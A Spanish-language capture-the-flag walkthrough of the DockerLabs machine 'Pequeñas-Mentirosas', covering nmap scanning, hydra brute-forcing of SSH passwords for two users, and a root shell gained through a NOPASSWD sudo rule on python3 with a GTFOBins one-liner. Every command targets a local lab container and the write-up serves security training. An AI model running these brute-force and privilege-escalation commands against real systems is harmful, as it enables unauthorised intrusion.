> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/pequenas-mentirosas.md).

# Pequeñas-Mentirosas

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Pequeñas-Mentirosas** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Extraemos los archivos del comprimido utilizando `7z`:

```bash
7z x pequenas-mentirosas.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F2NvTIteUFsZYC1bgOBOq%2FPasted%20image%2020250705165757.png?alt=media&amp;token=55d452af-6453-4b26-9969-3595c54dac4c" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script de despliegue para levantar la máquina en Docker:

```bash
bash auto_deploy.sh pequenas-mentirosas.tar
```

**Resultado:** La máquina se despliega correctamente con la IP `172.17.0.2`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FiORV1mZN0BF0aMT3sH9a%2FPasted%20image%2020250705165917.png?alt=media&amp;token=e1284ac2-ab5b-492e-8123-5c6848b9c6dc" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Verificamos que la máquina esté activa usando `ping`:

```bash
ping -c 1 172.17.0.2
```

El valor `TTL=64` indica que el sistema operativo es **Linux**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F8MInau34y1UMFDFHz4ps%2FPasted%20image%2020250705170001.png?alt=media&amp;token=5e535a85-c8d1-41ca-a0c0-21c90b22ad2c" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo de puertos con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos (del 1 al 65535).
* `-sS`: Escaneo SYN (rápido y sigiloso).
* `--open`: Muestra solo puertos abiertos.
* `--min-rate 5000`: Acelera el escaneo enviando al menos 5000 paquetes por segundo.
* `-vvv`: Salida muy detallada.
* `-n`: Evita la resolución DNS.
* `-Pn`: Trata el host como activo (evita el `ping` previo).
* `-oG allPorts`: Guarda los resultados en formato Grepable.

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGnorh62RxL7LAbHUtmeT%2FPasted%20image%2020250705170203.png?alt=media&amp;token=038edfa5-e630-41a4-ae87-2255c7a5d25b" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Obtenemos información detallada de los servicios en los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,80`: Indica a `nmap` que debe escanear únicamente los puertos **22** y **80**.
* `-sCV`: Detecta qué versiones de servicios están corriendo en los puertos abiertos (`-sV`), y ejecuta una serie de scripts de reconocimiento predefinidos (`-sC`) para obtener más detalles automáticamente.
* `-oN targeted`: Guarda los resultados en un archivo llamado `targeted`, utilizando el formato de salida estándar (igual al que se muestra en la terminal).

**Resultados:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache httpd 2.4.62.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F1ysrprHwCl2yvBhJ4rDP%2FPasted%20image%2020250705170227.png?alt=media&amp;token=cf2dbec8-d6cc-4bb7-83fa-3d44cfda987e" alt=""><figcaption></figcaption></figure>

#### **2.4. Inspección del servicio web**

Accedemos al servicio web desde el navegador: `http://172.17.0.2/`.

**Observación:** La página muestra un posible nombre de usuario (`a`), que podría ser relevante para el acceso SSH.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FRModwArczN7foxqGZ6ZX%2FPasted%20image%2020250705170246.png?alt=media&amp;token=4a634620-b1b6-4e6c-83e4-c5f39d796dc3" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Fuerza bruta al servicio SSH**

Usamos `hydra` para encontrar la contraseña del usuario `a`:

```bash
hydra -l a -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 4
```

**Explicación de los parámetros:**

* `-l a`: Especifica el nombre de usuario.
* `-P /usr/share/wordlists/rockyou.txt`: Usa el diccionario `rockyou.txt` para probar contraseñas.
* `-t 4`: Limita el número de tareas concurrentes a 4 para evitar saturación.

Como podemos comprobar, hemos obtenido las credenciales del usuario.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FkgvZV3nGa0eNtImRkP9i%2FPasted%20image%2020250705170428.png?alt=media&amp;token=f099da72-f83f-4b54-9428-86895a9c4c67" alt=""><figcaption></figcaption></figure>

#### **3.2. Acceso al sistema**

Nos conectamos por SSH con las credenciales obtenidas:

```bash
ssh a@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FM502T2dAGxZUtbdpP1CO%2FPasted%20image%2020250705170504.png?alt=media&amp;token=504d42cf-feb9-4899-97da-310066047286" alt=""><figcaption></figcaption></figure>

#### **3.3. Reconocimiento interno**

Listamos los directorios en `/home`:

```bash
ls
```

**Resultado:** Existen dos carpetas: `a` (del usuario actual) y `spencer` (posiblemente de otro usuario).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fi87tqPZlJGSytxDNpbLa%2FPasted%20image%2020250705170605.png?alt=media&amp;token=2339efff-72b6-4c2d-b8d2-dc6df9b7106b" alt=""><figcaption></figcaption></figure>

#### **3.4. Fuerza bruta para el usuario spencer**

Repetimos el proceso para el usuario `spencer`:

```bash
hydra -l spencer -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 4
```

Como podemos comprobar, hemos obtenido las credenciales del usuario.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fe7uMVTllv7OvShj0suTq%2FPasted%20image%2020250705170814.png?alt=media&amp;token=e8685e9a-561f-4e07-85b8-79f06bd8ff2c" alt=""><figcaption></figcaption></figure>

#### **3.5. Acceso al sistema con el usuario spencer**

Nos conectamos por SSH con las credenciales obtenidas:

```bash
ssh spencer@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGbKaNtqefz5UjWWK1ETm%2FPasted%20image%2020250705170844.png?alt=media&amp;token=919a166d-ecb9-4951-b474-271a0d25e377" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Verificación de permisos sudo**

Ejecutamos el comando `sudo -l` para comprobar los privilegios que tenemos con dicho usuario.

**Resultado:** El usuario `spencer` puede ejecutar `/usr/bin/python3` como `root` sin proporcionar contraseña:

```bash
(ALL) NOPASSWD: /usr/bin/python3
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FGyooEIC6RsaIg26qJGxd%2FPasted%20image%2020250705170922.png?alt=media&amp;token=5536da99-4ece-4cd8-8790-c7990402ef71" alt=""><figcaption></figcaption></figure>

#### **4.2. Explotación con Python**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/python/) para escalar privilegios:

```bash
sudo python3 -c 'import os; os.system("/bin/sh")'
```

**Explicación:**

* `sudo python3`: Ejecuta Python con privilegios de `root`.
* `import os; os.system("/bin/sh")`: Importa el módulo `os` y lanza una shell (`/bin/sh`) con permisos de `root`.

**Resultado:** Obtenemos una shell como `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FToKKXeSfFTH2Ob17VP4Z%2FPasted%20image%2020250705171018.png?alt=media&amp;token=1556ee08-c458-41bf-b215-0292cc8c3a3b" alt=""><figcaption></figcaption></figure>
